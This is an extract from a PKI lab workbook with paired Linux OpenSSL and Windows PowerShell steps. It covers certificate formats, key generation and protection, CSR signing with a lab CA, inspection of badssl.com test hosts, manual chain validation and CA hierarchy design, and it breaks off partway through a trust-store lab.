WINDOWS • POWERSHELL

```
$f = New-SelfSignedCertificate -DnsName fmt.lab.test -KeyAlgorithm
ECDSA_nistP256 -KeyExportPolicy Exportable -NotAfter (Get-Date).AddDays(30) -
CertStoreLocation Cert:\CurrentUser\My
Export-Certificate -Cert $f -FilePath C:\pki-lab\certs\fmt.lab.test.crt.der |
Out-Null
```

2 PEM ↔ DER, and recognize each by its first bytes.

LINUX • OPENSSL / BASH

```
openssl x509 -in certs/fmt.lab.test.crt.pem -outform DER -out
certs/fmt.lab.test.crt.der
openssl x509 -inform DER -in certs/fmt.lab.test.crt.der -out
/tmp/roundtrip.pem
head -c 27 certs/fmt.lab.test.crt.pem; echo; xxd -l 4
certs/fmt.lab.test.crt.der
```

WINDOWS • POWERSHELL

```
certutil -encode C:\pki-lab\certs\fmt.lab.test.crt.der C:\pki-lab\certs\fmt.lab.test.crt.pem | Out-Null
Get-Content C:\pki-lab\certs\fmt.lab.test.crt.pem -TotalCount 1
Format-Hex C:\pki-lab\certs\fmt.lab.test.crt.der -Count 4
```

EXPECTED OUTPUT

```
-----BEGIN CERTIFICATE-----
00000000: 3082 01a3          (DER: ASN.1 SEQUENCE, always starts 0x30)
```

-
- 3 The extension trap: copy the PEM to a .crt and a .cer name and show the contents are unchanged. The extension is a hint, not a format.

LINUX • OPENSSL / BASH

```
cp certs/fmt.lab.test.crt.pem /tmp/fmt.crt; cp certs/fmt.lab.test.crt.der /tmp/fmt.cer
file /tmp/fmt.crt /tmp/fmt.cer
```

WINDOWS • POWERSHELL

```
Copy-Item C:\pki-lab\certs\fmt.lab.test.crt.pem $env:TEMP\fmt.cer
certutil -dump $env:TEMP\fmt.cer | Select-String 'Subject:' -Context 0,1
```

EXPECTED OUTPUT • LINUX

```
/tmp/fmt.crt: PEM certificate
/tmp/fmt.cer: Certificate, Version=3
```

-
- 4 Build a PKCS#7 bundle (certificates only, no key) from a leaf and its intermediate, then list what is inside.

LINUX • OPENSSL / BASH

```
openssl crl2pkcs7 -nocrl -certfile chains/site-1.pem -certfile chains/site-2.pem -out chains/site.chain.p7b
openssl pkcs7 -in chains/site.chain.p7b -print_certs -noout
```

WINDOWS • POWERSHELL

```
$chain = @(Get-RemoteCert www.wikipedia.org -Chain)
$col =
[Security.Cryptography.X509Certificates.X509Certificate2Collection]::new($chain)
[IO.File]::WriteAllBytes('C:\pki-lab\chains\site.chain.p7b',
$col.Export('Pkcs7'))
certutil -dump C:\pki-lab\chains\site.chain.p7b | Select-String 'Subject:' -
Context 0,1
```

- 5 Build a PKCS#12 container holding the key and certificate, protected by a password. Inspect it.

LINUX • OPENSLL / BASH

```
openssl pkcs12 -export -inkey keys/fmt.lab.test.key.pem -in
certs/fmt.lab.test.crt.pem \
-name fmt.lab.test -out keys/fmt.lab.test.p12
openssl pkcs12 -in keys/fmt.lab.test.p12 -info -noout
```

WINDOWS • POWERSHELL

```
$pw = Read-Host -AsSecureString 'PFX password'
Export-PfxCertificate -Cert $f -FilePath C:\pki-lab\keys\fmt.lab.test.p12 -
Password $pw | Out-Null
(Get-PfxData C:\pki-lab\keys\fmt.lab.test.p12 -Password
$pw).EndEntityCertificates.Subject
```

EXPECTED OUTPUT • LINUX

```
MAC: sha256, Iteration 2048
PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF
hmacWithSHA256
Certificate bag
PKCS7 Data
Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, ...
```

- 6 Extract the pieces back out of the PKCS#12 (Linux) and prove every form carries the same certificate by comparing SHA-256 fingerprints.

LINUX • OPENSSL / BASH

```
openssl pkcs12 -in keys/fmt.lab.test.p12 -clcerts -nokeys -out /tmp/from-  
p12.crt.pem  
openssl pkcs12 -in keys/fmt.lab.test.p12 -nocerts -noenc -out /tmp/from-  
p12.key.pem  
for f in certs/fmt.lab.test.crt.pem /tmp/roundtrip.pem /tmp/from-p12.crt.pem;  
do openssl x509 -in $f -noout -fingerprint -sha256; done  
openssl x509 -inform DER -in certs/fmt.lab.test.crt.der -noout -fingerprint -  
sha256  
rm /tmp/from-p12.key.pem
```

WINDOWS • POWERSHELL

```
certutil -hashfile C:\pki-lab\certs\fmt.lab.test.crt.der SHA256  
$f.GetCertHashString('SHA256')  
(Get-PfxData C:\pki-lab\keys\fmt.lab.test.p12 -Password  
$pw).EndEntityCertificates[0].GetCertHashString('SHA256')
```

EXPECTED OUTPUT

All lines show the same 64-hex-character value.

7 Prove the extracted key matches the certificate (Lab 9 covers this in depth).

LINUX • OPENSSL / BASH

```
diff <(openssl x509 -in certs/fmt.lab.test.crt.pem -noout -pubkey) <(openssl  
pkey -in keys/fmt.lab.test.key.pem -pubout) && echo MATCH
```

WINDOWS • POWERSHELL

```
certutil -user -verifystore My $f.SerialNumber | Select-String 'test passed'
```

EXPECTED OUTPUT • LINUX

MATCH

EXPECTED OUTPUT • WINDOWS

Signature test passed

IF IT GOES WRONG

Windows Server 2016 or older refuses the OpenSSL-made .p12 ("The password is incorrect")	OpenSSL 3 uses AES-256/PBKDF2 by default, which older Windows cannot read. Re-export with -legacy (or -keypbe PBE-SHA1-3DES -certpbe PBE-SHA1-3DES -macalg sha1) for that target only.
unable to load certificate / no start line	You gave a DER file to a command expecting PEM. Add -inform DER, or convert first.
PKCS#12 extraction wrote an encrypted key	Omit -noenc to keep it encrypted (safer), or add it deliberately for a service that cannot prompt — and fix permissions immediately.
Export-PfxCertificate: cannot export non-exportable private key	The key was generated non-exportable. Recreate with -KeyExportPolicy Exportable for this lab (Lab 9 explains why non-exportable is often what you want).

CHECK YOUR WORK

1. How do you tell PEM from DER without trusting the file extension?
2. Which of the formats you created can carry a private key, and which never can?
3. Why is the fingerprint comparison stronger evidence than comparing subjects?
4. A Windows admin sends you "the certificate" as a .pfx and asks you to paste it into a ticket. What do you do?

Generate, protect and match keys

OBJECTIVE

Generate keys of several algorithm families, protect one at rest, see where the platform stores keys, and prove whether a key matches a certificate.

BEFORE YOU START

- Folder layout and convention from Lab 4.

STEPS

- 1 Generate one key of each common family and confirm what you made.

LINUX • OPENSSSL / BASH

```
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:3072 -out keys/k-rsa3072.key.pem
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out keys/k-p256.key.pem
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-384 -out keys/k-p384.key.pem
openssl genpkey -algorithm ED25519 -out keys/k-ed25519.key.pem
for k in keys/k-*.key.pem; do echo "$k: $(openssl pkey -in $k -noout -text | head -1)"; done
```

WINDOWS • POWERSHELL

```
# Windows keeps keys inside a key storage provider, attached to a certificate
$k1 = New-SelfSignedCertificate -Subject CN=k-rsa3072 -KeyAlgorithm RSA -
KeyLength 3072 -CertStoreLocation Cert:\CurrentUser\My
$k2 = New-SelfSignedCertificate -Subject CN=k-p256 -KeyAlgorithm
ECDSA_nistP256 -CertStoreLocation Cert:\CurrentUser\My
$k3 = New-SelfSignedCertificate -Subject CN=k-p384 -KeyAlgorithm
ECDSA_nistP384 -CertStoreLocation Cert:\CurrentUser\My
$k1,$k2,$k3 | ForEach-Object { '{0}: {1}' -f $_.Subject,
$_ .PublicKey.Oid.FriendlyName }
```

EXPECTED OUTPUT • LINUX

```
keys/k-ed25519.key.pem: ED25519 Private-Key:
keys/k-p256.key.pem: Private-Key: (256 bit)
keys/k-p384.key.pem: Private-Key: (384 bit)
keys/k-rsa3072.key.pem: Private-Key: (3072 bit, 2 primes)
```

- 2 Compare public-key sizes. Note how much smaller EC keys are for comparable strength (P-256 $\approx$ RSA-3072 $\approx$ 128-bit security).

LINUX • OPENSSSL / BASH

```
for k in keys/k-*.key.pem; do printf '%-26s %s bytes\n' $k $(openssl pkey -in $k -pubout -outform DER | wc -c); done
```

WINDOWS • POWERSHELL

```
$k1,$k2,$k3 | ForEach-Object { '{0,-12} {1} bytes' -f $_.Subject, $_.PublicKey.EncodedKeyValue.RawData.Length }
```

- 3 Protect a key at rest. Linux: encrypt it with a passphrase. Windows: see where the key actually lives and which provider guards it.

LINUX • OPENSSSL / BASH

```
openssl pkey -in keys/k-rsa3072.key.pem -aes256 -out keys/k-rsa3072.enc.key.pem
head -1 keys/k-rsa3072.enc.key.pem
openssl pkey -in keys/k-rsa3072.enc.key.pem -noout -passin pass:wrong
```

WINDOWS • POWERSHELL

```
certutil -user -store My $k1.Thumbprint | Select-String 'Provider|Unique container|Key Container'
```

EXPECTED OUTPUT • LINUX

```
-----BEGIN ENCRYPTED PRIVATE KEY-----
Could not read private key from keys/k-rsa3072.enc.key.pem
... error:1C800064:Provider routines::bad decrypt
```

EXPECTED OUTPUT • WINDOWS

```
Provider = Microsoft Software Key Storage Provider
Unique container name: 5d1c...
```

- 4 Fix file permissions and remove the unencrypted copy.

LINUX • OPENSSSL / BASH

```
chmod 600 keys/*.key.pem
stat -c '%a %U %n' keys/*.key.pem
shred -u keys/k-rsa3072.key.pem
```

WINDOWS • POWERSHELL

```
# User keys live under the profile; machine keys under ProgramData
Get-ChildItem "$env:APPDATA\Microsoft\Crypto\Keys" | Select-Object -First 3
Name, Length
```

- 5 Non-exportable keys. Windows: create one and try to export it. Linux: software keys are always copyable; read the note and continue.

LINUX • OPENSLL / BASH

```
# A key you can never copy out needs hardware: a smart card, a TPM (tpm2-
pkcs11)
# or an HSM (SoftHSM2 simulates one). Revisit in Chapter 27.
```

WINDOWS • POWERSHELL

```
$ne = New-SelfSignedCertificate -Subject CN=nonexport -KeyExportPolicy
NonExportable -CertStoreLocation Cert:\CurrentUser\My
$pw = ConvertTo-SecureString 'lab' -AsPlainText -Force
Export-PfxCertificate -Cert $ne -FilePath $env:TEMP\ne.pfx -Password $pw
```

EXPECTED OUTPUT • WINDOWS

```
Export-PfxCertificate: Cannot export non-exportable private key.
```

- 6 Prove a key matches a certificate: compare public keys. Then try a key that does not match.

LINUX • OPENSLL / BASH

```
openssl req -x509 -new -key keys/k-p256.key.pem -subj /CN=k-p256 -days 7 -out
certs/k-p256.crt.pem
openssl x509 -in certs/k-p256.crt.pem -noout -pubkey | openssl sha256
openssl pkey -in keys/k-p256.key.pem -pubout | openssl sha256
openssl pkey -in keys/k-p384.key.pem -pubout | openssl sha256
```

WINDOWS • POWERSHELL

```
certutil -user -verifystore My $k2.Thumbprint | Select-String 'test
passed|Missing'
```

EXPECTED OUTPUT • LINUX

```
SHA2-256(stdin)= 7c0e...41 (certificate)
SHA2-256(stdin)= 7c0e...41 (P-256 key: match)
SHA2-256(stdin)= b93a...d2 (P-384 key: no match)
```

EXPECTED OUTPUT • WINDOWS

```
Signature test passed
```

7 Clean up the Windows lab certificates and their keys.

WINDOWS • POWERSHELL

```
$k1,$k2,$k3,$ne | Remove-Item -DeleteKey
```

IF IT GOES WRONG

bad decrypt on your own key	Wrong passphrase. There is no recovery: if the passphrase is lost, the key is lost — generate a new key and reissue the certificate.
Ed25519 certificates rejected by a browser or Windows	Ed25519 is widely supported in OpenSSL and SSH but not accepted for public TLS certificates or by Windows CNG certificate enrollment. Use P-256 or RSA for TLS.
certutil -verifystore: "Missing stored keyset"	The certificate is in the store but its private key is not (or belongs to another user/machine context). Import the matching .pfx or run certutil -repairstore if the key exists.

CHECK YOUR WORK

1. What exactly does an attacker gain by stealing a TLS server's private key, and what does not change?
2. Why is P-256 considered roughly as strong as RSA-3072 despite being much smaller?
3. What is the trade-off of a non-exportable key?
4. What does the public-key hash comparison prove, and why is it the fastest key/cert check?

Request, sign and install a certificate

OBJECTIVE

Generate a CSR with correct Subject Alternative Names, sign it with a simple lab CA, and install the certificate against the exact key that produced the request.

BEFORE YOU START

- Lab 9 complete.
- Windows track: the OpenSSL build from Appendix A.2 for the CA-side step (AD CS arrives in Lab 15).

STEPS

- 1 Create a throwaway single-tier "Quick CA". You will replace it with a proper hierarchy in Lab 15.

BOTH TRACKS

```
openssl req -x509 -new -newkey ec -pkeyopt ec_paramgen_curve:P-256 -noenc -
days 90 \
  -subj "/O=PKI Lab/CN=Lab Quick CA" -keyout keys/quick-ca.key.pem -out
certs/quick-ca.crt.pem \
  -addext "basicConstraints=critical,CA:TRUE" -addext
"keyUsage=critical,keyCertSign,cRLSign"
# Windows: run from C:\pki-lab with openssl.exe, joined onto one line
```

- 2 Generate the key and CSR on the machine that will use the certificate. Put the SANs in the request.

LINUX • OPENSSL / BASH

```
openssl req -new -newkey ec -pkeyopt ec_paramgen_curve:P-256 -noenc \
  -keyout keys/www.lab.test.key.pem -out csr/www.lab.test.csr.pem \
  -subj "/CN=www.lab.test" -addext
"subjectAltName=DNS:www.lab.test,DNS:lab.test"
```

WINDOWS • POWERSHELL

```
@'[NewRequest]
Subject = "CN=www.lab.test"
KeyAlgorithm = ECDSA_P256
ProviderName = "Microsoft Software Key Storage Provider"
MachineKeySet = TRUE
Exportable = FALSE
RequestType = PKCS10
HashAlgorithm = SHA256
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "dns=www.lab.test&"
_continue_ = "dns=lab.test"
'@ | Set-Content C:\pki-lab\csr\www.lab.test.inf
certreq -new C:\pki-lab\csr\www.lab.test.inf C:\pki-
lab\csr\www.lab.test.csr.pem
```

3 Inspect the CSR and verify its self-signature (proof of possession).

LINUX • OPENSSL / BASH

```
openssl req -in csr/www.lab.test.csr.pem -noout -text -verify | grep -E
'verify|Subject:|DNS:'
```

WINDOWS • POWERSHELL

```
certutil -dump C:\pki-lab\csr\www.lab.test.csr.pem | Select-String
'Subject:|DNS Name|Signature matches'
```

EXPECTED OUTPUT • LINUX

```
Certificate request self-signature verify OK
      Subject: CN=www.lab.test
              DNS:www.lab.test, DNS:lab.test
```

EXPECTED OUTPUT • WINDOWS

```
Subject:
      CN=www.lab.test
      DNS Name=www.lab.test
      DNS Name=lab.test
Signature matches Public Key
```

- 4 Act as the CA: sign the request with a server profile. The profile, not the requester, decides usage and CA:FALSE.

BOTH TRACKS

```
cat > csr/server.ext <<'EOF'
basicConstraints = critical, CA:FALSE
keyUsage = critical, digitalSignature
extendedKeyUsage = serverAuth
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid
EOF
openssl x509 -req -in csr/www.lab.test.csr.pem -CA certs/quick-ca.crt.pem -
CAkey keys/quick-ca.key.pem \
    -CAcreateserial -days 30 -sha256 -copy_extensions copy -extfile
csr/server.ext \
    -out certs/www.lab.test.crt.pem
# Windows: write server.ext with Set-Content, then run the openssl line
```

- 5 Confirm the issued certificate carries the SANs and the profile extensions.

BOTH TRACKS

```
openssl x509 -in certs/www.lab.test.crt.pem -noout -issuer -subject -ext
subjectAltName,basicConstraints,extendedKeyUsage
```

EXPECTED OUTPUT

```
issuer=O=PKI Lab, CN=Lab Quick CA
subject=CN=www.lab.test
X509v3 Subject Alternative Name:
    DNS:www.lab.test, DNS:lab.test
X509v3 Basic Constraints: critical
    CA:FALSE
X509v3 Extended Key Usage:
    TLS Web Server Authentication
```

- 6 Install against the key. Linux: serve it with openssl s_server and connect as a client that trusts only the Quick CA. Windows: trust the Quick CA on this lab VM, then accept the certificate, which re-attaches it to the pending key.

LINUX • OPENSSSL / BASH

```
openssl s_server -accept 8443 -cert certs/www.lab.test.crt.pem -key  
keys/www.lab.test.key.pem -www &  
openssl s_client -connect 127.0.0.1:8443 -servername www.lab.test -CAfile  
certs/quick-ca.crt.pem \  
-verify_hostname www.lab.test -verify_return_error </dev/null 2>/dev/null |  
grep 'Verify return'  
kill %1
```

WINDOWS • POWERSHELL

```
Import-Certificate C:\pki-lab\certs\quick-ca.crt.pem -CertStoreLocation  
Cert:\LocalMachine\Root | Out-Null  
certreq -accept -machine C:\pki-lab\certs\www.lab.test.crt.pem  
Get-ChildItem Cert:\LocalMachine\My | Where-Object Subject -eq  
'CN=www.lab.test' | Format-List Subject, Issuer, HasPrivateKey
```

EXPECTED OUTPUT • LINUX

```
Verify return code: 0 (ok)
```

EXPECTED OUTPUT • WINDOWS

```
Subject      : CN=www.lab.test  
Issuer       : CN=Lab Quick CA, O=PKI Lab  
HasPrivateKey : True
```

7 Break it on purpose: try to install the certificate with a different key.

LINUX • OPENSSSL / BASH

```
openssl s_server -accept 8443 -cert certs/www.lab.test.crt.pem -key keys/k-  
p256.key.pem -www
```

WINDOWS • POWERSHELL

```
# Generate a second request (new key), then accept the first certificate  
against the wrong machine:  
# certreq -accept fails because no pending request matches the certificate's  
public key
```

EXPECTED OUTPUT • LINUX

```
... X509_check_private_key:key values mismatch
```

IF IT GOES WRONG

Issued certificate has no SAN	The CA did not copy request extensions. Use - copy_extensions copy (or set subjectAltName in the extfile). Browsers will reject a SAN-less certificate for every name.
certreq -accept: "Cannot find object or property"	The pending request's key is in a different context. Use - machine if the INF had MachineKeySet = TRUE, or run as the same user who created the request.
s_client: Verify return code 62 (hostname mismatch)	The name you connected with is not in the SAN. Fix the request, not the client.
unable to load CA private key	Wrong path or the Quick CA key is encrypted; check keys/quick-ca.key.pem and its passphrase.

CHECK YOUR WORK

1. Why is a CSR signed with the requester's private key, and what does the CA learn from that signature?
2. The CSR asked only for SANs; where did CA:FALSE and serverAuth come from, and why is that the right place?
3. Why must the certificate be installed on the same machine (or with the same key) that generated the CSR?

Inspect live servers and their chains

OBJECTIVE

Inspect what several live servers actually present, decide which send a complete and correct chain, and explain each failure by naming the check it breaks.

BEFORE YOU START

- Internet access from cli01.
- badssl.com test hosts (a public test site that serves deliberately broken certificates).

STEPS

- 1 Define a one-line inspection helper.

LINUX • OPENSSL / BASH

```
chain() { openssl s_client -connect "$1:443" -servername "$1" -verify_hostname  
"$1" -showcerts </dev/null 2>/dev/null \  
| grep -E '^ *'[0-9]+' s:|^ +i:|^ +v:|Verify return code'; }
```

WINDOWS • POWERSHELL

```
function Test-Tls($h) { curl.exe -sv -o NUL "https://$h/" 2>&1 | Select-String  
'schannel|SSL|subject|issuer|HTTP/' }
```

- 2 Establish a baseline with a correctly configured host.

LINUX • OPENSSL / BASH

```
chain badssl.com
```

WINDOWS • POWERSHELL

```
Test-Tls badssl.com
```

EXPECTED OUTPUT • LINUX

```
0 s:CN = *.badssl.com  
i:C = US, O = ..., CN = ...  
v:NotBefore: ... NotAfter: ...  
1 s:C = US, O = ..., CN = ...  
i:...  
Verify return code: 0 (ok)
```

3 Run the helper against each broken host and record the verify code and chain depth.

LINUX • OPENSSL / BASH

```
for h in incomplete-chain expired wrong.host self-signed untrusted-root; do
echo "== $h"; chain $h.badssl.com; done
```

WINDOWS • POWERSHELL

```
'incomplete-chain','expired','wrong.host','self-signed','untrusted-root' |
ForEach-Object { "== $_"; Test-Tls "$_.badssl.com" }
```

EXPECTED OUTPUT • LINUX

```
== incomplete-chain    ... Verify return code: 20 (unable to get local issuer
certificate)
== expired             ... Verify return code: 10 (certificate has expired)
== wrong.host          ... Verify return code: 62 (hostname mismatch)
== self-signed          ... Verify return code: 18 (self-signed certificate)
== untrusted-root      ... Verify return code: 19 (self-signed certificate in
certificate chain)
```

EXPECTED OUTPUT • WINDOWS

```
== incomplete-chain    ... HTTP/1.1 200 OK                (Windows fetched the missing
intermediate via AIA)
== expired             ... SEC_E_CERT_EXPIRED (0x80090328)
== wrong.host          ... SEC_E_WRONG_PRINCIPAL (0x80090322)
== self-signed          ... SEC_E_UNTRUSTED_ROOT (0x80090325)
== untrusted-root      ... SEC_E_UNTRUSTED_ROOT (0x80090325)
```

4 For incomplete-chain, count the certificates sent and read the leaf's AIA "CA Issuers" URL — the place clients like Windows fetch the missing intermediate from.

LINUX • OPENSSL / BASH

```
openssl s_client -connect incomplete-chain.badssl.com:443 -servername
incomplete-chain.badssl.com -showcerts </dev/null 2>/dev/null | grep -c 'BEGIN
CERT'
openssl s_client -connect incomplete-chain.badssl.com:443 -servername
incomplete-chain.badssl.com </dev/null 2>/dev/null | openssl x509 -noout -ext
authorityInfoAccess
```

WINDOWS • POWERSHELL

```
(Get-RemoteCert incomplete-chain.badssl.com).Extensions | ? { $_.Oid.Value -eq
'1.3.6.1.5.5.7.1.1' } | % { $_.Format($true) }
```

EXPECTED OUTPUT • LINUX

```
1
Authority Information Access:
  CA Issuers - URI:http://.../...crt
```

- 5 Inspect your own lab server from Lab 10 with the same helper, trusting only the Quick CA, and confirm it is clean.

LINUX • OPENSSL / BASH

```
openssl s_server -accept 8443 -cert certs/www.lab.test.crt.pem -key
keys/www.lab.test.key.pem -www & sleep 1
openssl s_client -connect 127.0.0.1:8443 -servername www.lab.test -
verify_hostname www.lab.test -CAfile certs/quick-ca.crt.pem -showcerts
</dev/null 2>/dev/null | grep -E '^ *[0-9]+ s:|Verify return'; kill %1
```

- 6 Write your personal inspection routine in notes/lab11.md — five checks you will run in this order on any certificate: who is it for (SAN), who issued it, when is it valid, what may it do (KU/EKU), and what chain came with it.

IF IT GOES WRONG

A "good" badssl.com host fails	badssl.com is volunteer-run and its certificates occasionally lapse. Check the dates; if the baseline is expired, use your Lab 10 server as the baseline.
wrong.host shows code 0	You omitted -verify_hostname. s_client checks the chain by default but not the name.
Windows reports success for incomplete-chain	Expected: Windows (and most browsers) chase AIA and cache intermediates. That is exactly why missing-intermediate bugs pass on the admin's desktop and fail on phones, Java or curl on Linux.

CHECK YOUR WORK

1. incomplete-chain.badssl.com works on Windows and fails in openssl. Is the server correct? Explain.
2. Codes 18 and 19 both mention "self-signed". What distinguishes them?
3. Which of the five broken hosts would still fail after you add the right root to the client's trust store?

Trust, Authorities and Lifecycle

Validation, hierarchies, public and private CAs, lifecycle at scale, and revocation.

Labs 12–17

LAB 12 Chapter 12 • 50 min

Validate a chain by hand

OBJECTIVE

Perform every check of path validation yourself — signature, chain, anchor, dates, name, usage and revocation — for a real public chain, then compare your verdict with the platform's.

BEFORE YOU START

- chains/site-1.pem and chains/site-2.pem from Lab 6 (re-fetch if the leaf has since been renewed).
- The worksheet table in step 1.

STEPS

- 1 Copy this worksheet into notes/lab12.md and fill in one row per check as you go.

BOTH TRACKS

CHECK	CERT(S)	EVIDENCE (command + result)	PASS/FAIL
signature	leaf, int, root		
chain	leaf → int → root		
anchor	root		
dates	all three		
name	leaf		
usage	leaf (EKU), int (CA, keyCertSign)		
revocation	leaf		

- 2 Path building: walk issuer → subject links upward.

LINUX • OPENSSL / BASH

```
for f in chains/site-1.pem chains/site-2.pem; do openssl x509 -in $f -noout -
subject -issuer; echo; done
```

WINDOWS • POWERSHELL

```
$x, $i | Format-List Subject, Issuer
```

3 Trust anchor: find the root that issued the intermediate in the local trust store.

LINUX • OPENSSL / BASH

```
h=$(openssl x509 -in chains/site-2.pem -noout -issuer_hash)
ls -l /etc/ssl/certs/$h.*
cp -L /etc/ssl/certs/$h.0 chains/site-root.pem
openssl x509 -in chains/site-root.pem -noout -subject -issuer
```

WINDOWS • POWERSHELL

```
$root = Get-ChildItem Cert:\LocalMachine\Root | Where-Object Subject -eq
$i.Issuer
$root | Format-List Subject, Issuer, Thumbprint
```

EXPECTED OUTPUT

```
subject=... CN=<root name>
issuer=... CN=<root name>          (self-signed: subject = issuer)
```

4 Signatures, one link at a time.

LINUX • OPENSSL / BASH

```
openssl verify -partial_chain -trusted chains/site-2.pem chains/site-1.pem
# int signed leaf
openssl verify -CAfile chains/site-root.pem chains/site-2.pem
# root signed int
openssl verify -CAfile chains/site-root.pem chains/site-root.pem
# root self-signature
```

EXPECTED OUTPUT

```
chains/site-1.pem: OK
chains/site-2.pem: OK
chains/site-root.pem: OK
```

5 Constraints and dates for every certificate in the path.

LINUX • OPENSSL / BASH

```
for f in chains/site-1.pem chains/site-2.pem chains/site-root.pem; do echo "==
$f"; openssl x509 -in $f -noout -enddate -ext basicConstraints,keyUsage
2>/dev/null; openssl x509 -in $f -noout -checkend 0; done
```

WINDOWS • POWERSHELL

```
$x, $i, $root | Format-Table Subject, NotBefore, NotAfter
```

6 Name and usage for the leaf.

LINUX • OPENSSSL / BASH

```
openssl x509 -in chains/site-1.pem -noout -checkhost www.wikipedia.org
openssl verify -purpose sslserver -CAfile chains/site-root.pem -untrusted
chains/site-2.pem chains/site-1.pem
```

EXPECTED OUTPUT • LINUX

```
Hostname www.wikipedia.org does match certificate
chains/site-1.pem: OK
```

7 Revocation. Use OCSP if the leaf lists a responder; otherwise use its CRL (some CAs, including Let's Encrypt, now publish CRLs only).

LINUX • OPENSSSL / BASH

```
url=$(openssl x509 -in chains/site-1.pem -noout -ocsp_uri); echo "OCSP: $url"
[ -n "$url" ] && openssl ocsp -issuer chains/site-2.pem -cert chains/site-
1.pem -url "$url" -resp_text -noverify | grep -E 'Cert Status|Next Update'
openssl x509 -in chains/site-1.pem -noout -ext crlDistributionPoints
# with a CRL URL: curl -so /tmp/1.crl <url>
# openssl verify -crl_check -CRLfile <(openssl crl -inform DER -in /tmp/1.crl)
-CAfile chains/site-root.pem -untrusted chains/site-2.pem chains/site-1.pem
```

EXPECTED OUTPUT • LINUX

```
Cert Status: good
```

8 Now let the platform do everything at once and compare with your worksheet.

LINUX • OPENSSSL / BASH

```
openssl verify -purpose sslserver -verify_hostname www.wikipedia.org -
untrusted chains/site-2.pem chains/site-1.pem
```

WINDOWS • POWERSHELL

```
certutil -verify -urlfetch C:\pki-lab\certs\site.crt.der | Select-String
'Verified|Revocation|completed|ERROR'
```

EXPECTED OUTPUT • LINUX

```
chains/site-1.pem: OK
```

EXPECTED OUTPUT • WINDOWS

```
Verified Issuance Policies: ...  
Leaf certificate revocation check passed  
CertUtil: -verify command completed successfully.
```

IF IT GOES WRONG

ls /etc/ssl/certs/<hash>.* finds nothing	The root is not in the store, or the intermediate was cross-signed and the chain ends at a different root. Read the intermediate's issuer again; search by name with grep -l.
verify with -partial_chain fails: unable to get local issuer	You passed the wrong intermediate (the server may send several). Match the leaf's AKI to each candidate's SKI (Lab 7).
OCSP: Responder Error: unauthorized	The responder does not serve this issuer, or you passed the wrong -issuer. Use the leaf's actual issuing CA.

CHECK YOUR WORK

1. Which checks apply to every certificate in the path, and which only to the leaf?
2. What makes the root a trust anchor — its signature, its extensions, or something else?
3. A "broken chain" and an "untrusted chain" both fail path building. Using your worksheet, how would each show up?

Design a two-tier hierarchy on paper

OBJECTIVE

Diagram a two-tier CA hierarchy for the lab, state exactly what each tier signs and must never sign, and choose the constraints that bound it. You will build this design in Lab 15.

BEFORE YOU START

- Paper or a diagramming tool.
- Lab 7 (Basic Constraints, Key Usage) and Lab 12 (path validation).

STEPS

- 1 Draw three levels: PKI Lab Root CA (offline), PKI Lab Issuing CA 1 (online), and the end-entity certificates it will issue: web servers, client/user certificates, code signing, VPN and Wi-Fi devices.

- 2 Beside each CA, write its extension profile. Use these as your starting point and justify any change.

BOTH TRACKS

PKI Lab Root CA	basicConstraints = critical, CA:TRUE	(no pathlen, or pathlen:1)
	keyUsage	= critical, keyCertSign, cRLSign
	validity	= 10 years key = P-384 or RSA-4096, offline
PKI Lab Issuing CA 1	basicConstraints = critical, CA:TRUE, pathlen:0	
	keyUsage	= critical, keyCertSign, cRLSign
	validity	= 5 years key = P-384 or RSA-3072, online (HSM in production)
End entities	basicConstraints = critical, CA:FALSE	
...	keyUsage / EKU	= per profile (server, client, codesign ...)
	validity	= 90 days – 1 year

- 3 Fill in the responsibility table in notes/lab13.md.

BOTH TRACKS

TIER PUBLISHES	SIGNS	MUST NEVER SIGN
Root	Issuing CA certificates; root CRL	End-entity certificates
Root CRL (every ~6 months), root cert (AIA)		
Issuing	End-entity certificates; issuing CRL	Any CA certificate
Issuing CRL (weekly) + delta, OCSP		
End entity	Data, TLS handshakes, code (per EKU)	Certificates or CRLs
—		

- 4 Add revocation arrows: which CA revokes which certificates, and where relying parties fetch each CRL (write the URLs: <http://pki.lab.test/lab-root-ca.crl> and <http://pki.lab.test/lab-int-ca.crl>).
- 5 Blast-radius exercise: for each scenario write what is affected and what recovery requires. (a) a web server key leaks; (b) the issuing CA key leaks; (c) the root key leaks.
- 6 Decide the validity nesting rule: no certificate should outlive its issuer. Check your numbers: a 5-year issuing CA under a 10-year root must be renewed by year 5; a 1-year leaf issued in year 4.5 of the issuing CA would outlive it.

IF IT GOES WRONG

Your root signs web server certificates "to keep it simple"	That forces the root online and makes every leaf compromise a root-level incident. Keep issuance at the issuing tier.
You gave the issuing CA no pathlen	Without pathlen:0 a compromised issuing CA could mint further sub-CAs. Bound it.

CHECK YOUR WORK

1. Why does the root almost never issue end-entity certificates directly?
2. What does pathlen:0 on the issuing CA prevent, and what does it still allow?
3. Compare the recovery work for a leaked issuing-CA key versus a leaked root key.
4. When would a three-tier design (root → policy CA → issuing CAs) be worth its extra cost?

Trust stores, transparency logs and automated certificates

OBJECTIVE

Examine your system trust store, find a real certificate in a public Certificate Transparency log, and inspect an automatically issued, short-lived certificate.

BEFORE YOU START

- Internet access from cli01.
- chains/site-1.pem from Lab 6.
- Linux: jq installed (Appendix A.2).

STEPS

- 1 Count the roots your operating system trusts.

LINUX • OPENSSSL / BASH

```
grep -c 'BEGIN CERTIFICATE' /etc/ssl/certs/ca-certificates.crt
```

WINDOWS • POWERSHELL

```
(Get-ChildItem Cert:\LocalMachine\Root).Count  
(Get-ChildItem Cert:\LocalMachine\AuthRoot).Count
```

EXPECTED OUTPUT • LINUX

```
~140-150
```

EXPECTED OUTPUT • WINDOWS

```
~30-60 (Windows downloads further roots on demand from Windows Update)
```

- 2 Find one well-known root and read its dates and fingerprint.

LINUX • OPENSSSL / BASH

```
openssl x509 -in /etc/ssl/certs/ISRG_Root_X1.pem -noout -subject -enddate -  
fingerprint -sha256
```

WINDOWS • POWERSHELL

```
Get-ChildItem Cert:\LocalMachine\Root, Cert:\LocalMachine\AuthRoot | Where-Object Subject -match 'ISRG Root X1' | Format-List Subject, NotAfter, Thumbprint
```

EXPECTED OUTPUT

```
